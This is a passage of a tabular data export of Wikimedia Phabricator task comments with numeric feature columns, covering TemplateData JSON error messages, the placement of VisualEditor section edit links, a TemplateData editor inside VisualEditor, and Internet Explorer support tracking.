improvement.",,,1372774985,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-n2g6v2vrtf3k3hkqsoi3,task_subcomment,,True,c1,3,False,,,0,,2.5,0.0,0.0,1.5,0.0,3.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.5,9.0,11.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.5,3.5,0.0,1.5,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.5,4.5,3.0,0.0,1.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.5,11.5,0.0,0.0,0.0,0.0,1.5,0.0,1.5,4.0,0.0,1.5,1.0,0.0,0.0,3.823529411764706,0.7156862745098038,"**weskaggs** wrote:

Displaying the contents of the line at which an error is detected, with a few lines around it for context, would be almost as useful as a line number.  Of course the actual error can be a long way off from the point at which a syntax error is detected, but the information would still be helpful.  Adding information about the type of error would make it even better.  Really any information at all about the nature of the error would be an improvement."
243537,TemplateData: Get better error messages for JSON syntax errors,"Presumably this could be done if bug 50169 was implemented, though. :-)",,,1372734893,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n2g6v2vrtf3k3hkqsoi3,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,"Presumably this could be done if bug 50169 was implemented, though. :-)"
243532,TemplateData: Get better error messages for JSON syntax errors,"It is in my opinion not feasible to get line numbers because we use a native PHP extension to parse the JSON.

If the JSON syntax itself is invalid, there is nothing we can do. Best case scenario the parser gives the type of error (""Unexpected comma"", ""Expected closing curly brace"" etc.) but a line number is unlikely.

Once the JSON is parsed, the TemplateData validation itself (e.g. sets referring to existing parameters) we have full control over and gives pretty informative errors with the full path to the property.

> Unexpected property ""params.user.blabla"".
> Property ""params.timestamp.description"" is expected to be of type ""string|object"".

etc.",,,1372711992,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-n2g6v2vrtf3k3hkqsoi3,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,1.0,0.5,7.0,2.0,0.5,0.0,0.5,1.5,0.0,0.0,0.0,0.5,2.5,0.0,2.5,7.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,6.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,1.5,0.0,0.0,0.0,16.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.5,8.5,2.0,2.0,7.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,4.5,7.5,1.5,0.0,2.5,0.0,4.5,0.0,0.0,1.5,1.5,2.5,0.0,0.5,2.5,3.9576527525710827,0.7737447065940715,"It is in my opinion not feasible to get line numbers because we use a native PHP extension to parse the JSON.

If the JSON syntax itself is invalid, there is nothing we can do. Best case scenario the parser gives the type of error (""Unexpected comma"", ""Expected closing curly brace"" etc.) but a line number is unlikely.

Once the JSON is parsed, the TemplateData validation itself (e.g. sets referring to existing parameters) we have full control over and gives pretty informative errors with the full path to the property.

QUOTE
QUOTE

etc."
52405,VisualEditor: Come up with a solution of section edit links' placement when they are floated right (due to a gadget),"Until a recent MediaWiki change the default behavior of edit section links was to float to the far side of the heading (right on LTR Wikis, assume this case in the following).

This was changed recently but almost all Wikis provide Gadgets to restore the old behavior (see http://en.wikipedia.org/wiki/MediaWiki:Gadget-righteditlinks.css or http://de.wikipedia.org/wiki/MediaWiki:Gadget-editsection-align-end.css for examples)

The problem is, that the VisualEditor's fly-out-links reserve space to the right for the ""edit source"" link. Therefore when aligning the links right they actually appear with a large distance to the page-margin. The fly-outs should therefore be modified to not reserve any space so the ""edit"" link is correctly aligned right.

To prevent the fly-outs to shift the whole ""edit"" link left as soon as they become visible they could be changed to fly-out to the left in this case or to the bottom.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Lowest,10.0,1372460880,1663958347.0,PHID-USER-v3yn5qf233ggnnnmvejc,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-wxztsvwizvyvhpvx2lty,task_description,resolved,True,c1,2,False,False,False,-1,,1.0,0.0,0.0,2.0,0.5,3.5,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.5,0.0,0.0,0.0,6.5,13.0,0.0,3.0,0.5,0.5,0.0,1.5,0.0,0.0,0.5,0.5,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.5,0.5,2.0,0.0,0.0,0.0,0.0,0.5,20.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,10.0,3.0,8.0,1.5,1.5,12.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.5,13.0,2.5,0.0,3.0,0.0,1.5,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,3.8879619260918252,0.6505599104143338,"Until a recent MediaWiki change the default behavior of edit section links was to float to the far side of the heading (right on LTR Wikis, assume this case in the following).

This was changed recently but almost all Wikis provide Gadgets to restore the old behavior (see URL or URL for examples)

The problem is, that the VisualEditor's fly-out-links reserve space to the right for the ""edit source"" link. Therefore when aligning the links right they actually appear with a large distance to the page-margin. The fly-outs should therefore be modified to not reserve any space so the ""edit"" link is correctly aligned right.

To prevent the fly-outs to shift the whole ""edit"" link left as soon as they become visible they could be changed to fly-out to the left in this case or to the bottom.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
1988942,VisualEditor: Come up with a solution of section edit links' placement when they are floated right (due to a gadget),"This task refers to a short-lived VE feature, where instead of the dual ""edit"" and ""edit source"" section edit links we all know and love today, it only displayed one of the links, and the second one would appear (""fly-out"") when the links were hovered with the mouse. It was so short-lived that I can't even find any screenshots of it; it was implemented in [[https://gerrit.wikimedia.org/r/c/mediawiki/extensions/VisualEditor/+/69984|change 69984]] (Jun 26, 2013) and then removed in [[https://gerrit.wikimedia.org/r/c/mediawiki/extensions/VisualEditor/+/77165|change 77165]] (Aug 02, 2013). This task was filed on Jun 29.

No solution is needed any more since we started showing both links, and this probably should have been closed in 2013!",,,1663958347,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-wxztsvwizvyvhpvx2lty,task_subcomment,,True,c1,3,True,,,481,,2.0,0.0,0.0,3.0,0.5,1.5,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.5,0.0,1.5,0.0,7.0,7.0,0.0,0.0,0.5,0.5,0.0,3.5,0.0,0.0,0.0,0.0,0.5,0.0,1.5,2.0,2.5,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.5,0.0,0.0,0.5,0.5,2.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,3.5,7.0,2.0,3.0,8.0,0.0,0.0,0.5,0.0,2.5,0.0,6.0,0.0,4.5,7.0,2.5,0.0,3.0,0.0,4.5,0.0,1.0,0.5,0.0,0.5,0.5,0.0,2.5,3.301369863013699,0.6986301369863013,"This task refers to a short-lived VE feature, where instead of the dual ""edit"" and ""edit source"" section edit links we all know and love today, it only displayed one of the links, and the second one would appear (""fly-out"") when the links were hovered with the mouse. It was so short-lived that I can't even find any screenshots of it; it was implemented in [[URL 69984]] (Jun 26, 2013) and then removed in [[URL 77165]] (Aug 02, 2013). This task was filed on Jun 29.

No solution is needed any more since we started showing both links, and this probably should have been closed in 2013!"
237208,VisualEditor: Come up with a solution of section edit links' placement when they are floated right (due to a gadget),"Trivial patch idea

To add some content: Wouldn't a trivial patch along the lines of the attachment be sufficient to fix this problem?

I'm sure something like this could be implemented with minimal effort for somebody with a little experience!

**Attached**: {F11273}",,,1372621960,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-wxztsvwizvyvhpvx2lty,task_subcomment,,True,c1,2,False,,,-1,,2.0,4.0,0.0,2.0,2.0,11.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,14.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,11.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,14.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.035087719298246,0.7894736842105263,"Trivial patch idea

To add some content: Wouldn't a trivial patch along the lines of the attachment be sufficient to fix this problem?

I'm sure something like this could be implemented with minimal effort for somebody with a little experience!

**Attached**: {F11273}"
237203,VisualEditor: Come up with a solution of section edit links' placement when they are floated right (due to a gadget),"I see your point but you have to admit that without changing the style of the edisection-links these Gadgets wouldn't have been necessary in the first place. They are basically ""fixing"" what WMF ""broke"" so it would be nice if you at least tried to supply a solution.",,,1372620403,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-wxztsvwizvyvhpvx2lty,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,2.0,7.0,4.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,16.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,2.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,7.0,5.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,11.0,16.0,4.0,0.0,7.0,0.0,11.0,0.0,2.0,2.0,0.0,4.0,0.0,2.0,0.0,3.8421052631578947,0.8245614035087719,"I see your point but you have to admit that without changing the style of the edisection-links these Gadgets wouldn't have been necessary in the first place. They are basically ""fixing"" what WMF ""broke"" so it would be nice if you at least tried to supply a solution."
237199,VisualEditor: Come up with a solution of section edit links' placement when they are floated right (due to a gadget),"(In reply to comment #0)
> Until a recent MediaWiki change the default behavior of edit section links
> was
> to float to the far side of the heading (right on LTR Wikis, assume this case
> in the following).
> 
> This was changed recently but almost all Wikis provide Gadgets to restore the
> old behavior (see
> http://en.wikipedia.org/wiki/MediaWiki:Gadget-righteditlinks.css or
> http://de.wikipedia.org/wiki/MediaWiki:Gadget-editsection-align-end.css for
> examples)
> 
> The problem is, that the VisualEditor's fly-out-links reserve space to the
> right for the ""edit source"" link. Therefore when aligning the links right
> they
> actually appear with a large distance to the page-margin. The fly-outs should
> therefore be modified to not reserve any space so the ""edit"" link is
> correctly
> aligned right.
> 
> To prevent the fly-outs to shift the whole ""edit"" link left as soon as they
> become visible they could be changed to fly-out to the left in this case or
> to the bottom.

Note that in general WMF does not support gadgets and does not encourage their use; they are highly likely to break like this when the code they depend on changes, and this is a good example of that breakage. :-(

I've re-written this a bit to be clearer. As ""lowest"" priority, reflecting that we don't support gadgets. of course anyone who is interested in patching is welcome to suggest ideas/code that could address this.",,,1372620013,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wxztsvwizvyvhpvx2lty,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.5,0.5,0.0,1.5,4.5,3.5,0.0,0.0,0.0,2.5,1.5,0.0,0.0,0.0,1.5,0.5,3.5,9.5,0.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,6.0,1.0,0.0,2.5,0.0,0.0,0.0,0.5,0.5,0.0,1.5,0.0,0.5,0.0,2.0,0.0,0.5,1.0,8.5,2.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,2.0,3.5,14.0,2.0,1.0,5.5,0.0,0.0,0.0,0.5,5.0,0.0,0.5,0.0,3.0,9.5,11.0,0.0,1.5,0.0,3.0,0.0,2.0,1.5,0.0,0.5,0.5,0.5,0.0,3.5402973395931143,0.5747261345852895,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Note that in general WMF does not support gadgets and does not encourage their use; they are highly likely to break like this when the code they depend on changes, and this is a good example of that breakage. :-(

I've re-written this a bit to be clearer. As ""lowest"" priority, reflecting that we don't support gadgets. of course anyone who is interested in patching is welcome to suggest ideas/code that could address this."
52169,VisualEditor: Extend the rich TemplateData editor to be used inside VE,"It has been mentioned in some places[1][2] that the JSON syntax might be a problem for typical (non-technical) users, so I suggest creating a plugin for editing the content of the <templatedata> tags.

[1] https://commons.wikimedia.org/wiki/Template_talk:Information#Adding_TemplateData_information
[2] https://pt.wikipedia.org/wiki/WP:Café_dos_programadores#Mais_uma_novidade:_TemplateData

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51734",Lowest,10.0,1372160580,1483554630.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-blsibbjjroitozskiyjq,task_description,resolved,True,c1,2,False,False,False,-1,,1.0,0.0,0.0,1.0,0.0,6.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,12.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,3.4625,0.6625,"It has been mentioned in some places[1][2] that the JSON syntax might be a problem for typical (non-technical) users, so I suggest creating a plugin for editing the content of the <templatedata> tags.

[1] URL
[2] URL

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
787080,VisualEditor: Extend the rich TemplateData editor to be used inside VE,"This was done as part of {T152230}.

{F5229438}",,,1483554630,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-blsibbjjroitozskiyjq,task_subcomment,,True,c1,3,True,,,183,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9285714285714284,0.8571428571428571,"This was done as part of {T152230}.

{F5229438}"
747311,VisualEditor: Extend the rich TemplateData editor to be used inside VE,"No, this is for editing TemplateData blocks nicely once we enable Template: namespace editing in VE (and the 2017 wikitext editor).",,,1476984711,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-blsibbjjroitozskiyjq,task_subcomment,,True,c1,3,True,,,172,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,12.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.269230769230769,0.9615384615384616,"No, this is for editing TemplateData blocks nicely once we enable Template: namespace editing in VE (and the 2017 wikitext editor)."
745209,VisualEditor: Extend the rich TemplateData editor to be used inside VE,We created a template data editor a few years ago.,,,1476640713,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-blsibbjjroitozskiyjq,task_subcomment,,True,c1,3,True,,,171,,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,0.9090909090909091,We created a template data editor a few years ago.
248857,VisualEditor: Extend the rich TemplateData editor to be used inside VE,"I've translated the script to enwiki : http://en.wikipedia.org/wiki/User:NicoV/TemplateDataEditor

and made a screenshot in Commons : http://commons.wikimedia.org/wiki/File:TemplateDataEditor.png",,,1374308029,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-blsibbjjroitozskiyjq,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,22.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,0.8888888888888888,"I've translated the script to enwiki : URL

and made a screenshot in Commons : URL"
248851,VisualEditor: Extend the rich TemplateData editor to be used inside VE,"Created attachment 12786
Screenshot of the form provided by the user script from frwiki

(In reply to comment #2)
> A user on fr.wikipedia seems to have developed a user script to easily add
> TemplateData to a template:
> https://fr.wikipedia.org/wiki/Utilisateur:Ltrlg/scripts/TemplateDataEditor.js
> 
> This might be of interest while developing a similar VE module.

For convenience, I've attached a screenshot of the form generated by that script.

**Attached**: {F11686}",,,1373295643,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-blsibbjjroitozskiyjq,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,2.0,13.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.622950819672131,0.6721311475409836,"Created attachment 12786
Screenshot of the form provided by the user script from frwiki

(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

For convenience, I've attached a screenshot of the form generated by that script.

**Attached**: {F11686}"
248841,VisualEditor: Extend the rich TemplateData editor to be used inside VE,"A user on fr.wikipedia seems to have developed a user script to easily add TemplateData to a template:
https://fr.wikipedia.org/wiki/Utilisateur:Ltrlg/scripts/TemplateDataEditor.js

This might be of interest while developing a similar VE module.",,,1373293342,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-blsibbjjroitozskiyjq,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,18.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,3.0,15.0,3.0,0.0,15.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,4.235294117647059,0.8529411764705882,"A user on fr.wikipedia seems to have developed a user script to easily add TemplateData to a template:
URL

This might be of interest while developing a similar VE module."
248832,VisualEditor: Extend the rich TemplateData editor to be used inside VE,See also bug 50370 comment 1.,,,1372535975,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-blsibbjjroitozskiyjq,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.0,See also bug 50370 comment 1.
52085,[DO NOT USE] VisualEditor: Internet Explorer compatibility (tracking) [superseded by #VisualEditor × #Browser-Support-Internet-Explorer],"A retread of bug 42847 for issues in the run-up to wider deployment.

--------------------------
**Version**: unspecified
**Severity**: normal",Lowest,10.0,1372053120,1423674480.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-nsv64fqtru36njpwa54p,task_description,invalid,True,c1,2,True,True,False,-1,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.764705882352941,0.7352941176470589,"A retread of bug 42847 for issues in the run-up to wider deployment.

--------------------------
**Version**: unspecified
**Severity**: normal"
409987,[DO NOT USE] VisualEditor: Internet Explorer compatibility (tracking) [superseded by #VisualEditor × #Browser-Support-Internet-Explorer],Now replaced by https://phabricator.wikimedia.org/maniphest/query/V25BI8.HgRPz/#R instead.,,,1423674480,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nsv64fqtru36njpwa54p,task_subcomment,,True,c1,3,True,,,84,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Now replaced by URL instead.
243741,[DO NOT USE] VisualEditor: Internet Explorer compatibility (tracking) [superseded by #VisualEditor × #Browser-Support-Internet-Explorer],"Change 155841 merged by jenkins-bot:
Greylist IE11

https://gerrit.wikimedia.org/r/155841",,,1409263118,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-nsv64fqtru36njpwa54p,task_subcomment,,True,c1,3,False,,,60,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.384615384615385,1.0,"Change 155841 merged by jenkins-bot:
Greylist IE11

GERRIT_URL"
243734,[DO NOT USE] VisualEditor: Internet Explorer compatibility (tracking) [superseded by #VisualEditor × #Browser-Support-Internet-Explorer],"Change 155841 had a related patch set uploaded by Jforrester:
[WIP] Greylist IE11

https://gerrit.wikimedia.org/r/155841",,,1409099824,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-nsv64fqtru36njpwa54p,task_subcomment,,True,c1,3,False,,,60,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,32.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,4.315789473684211,1.0,"Change 155841 had a related patch set uploaded by Jforrester:
[WIP] Greylist IE11

GERRIT_URL"
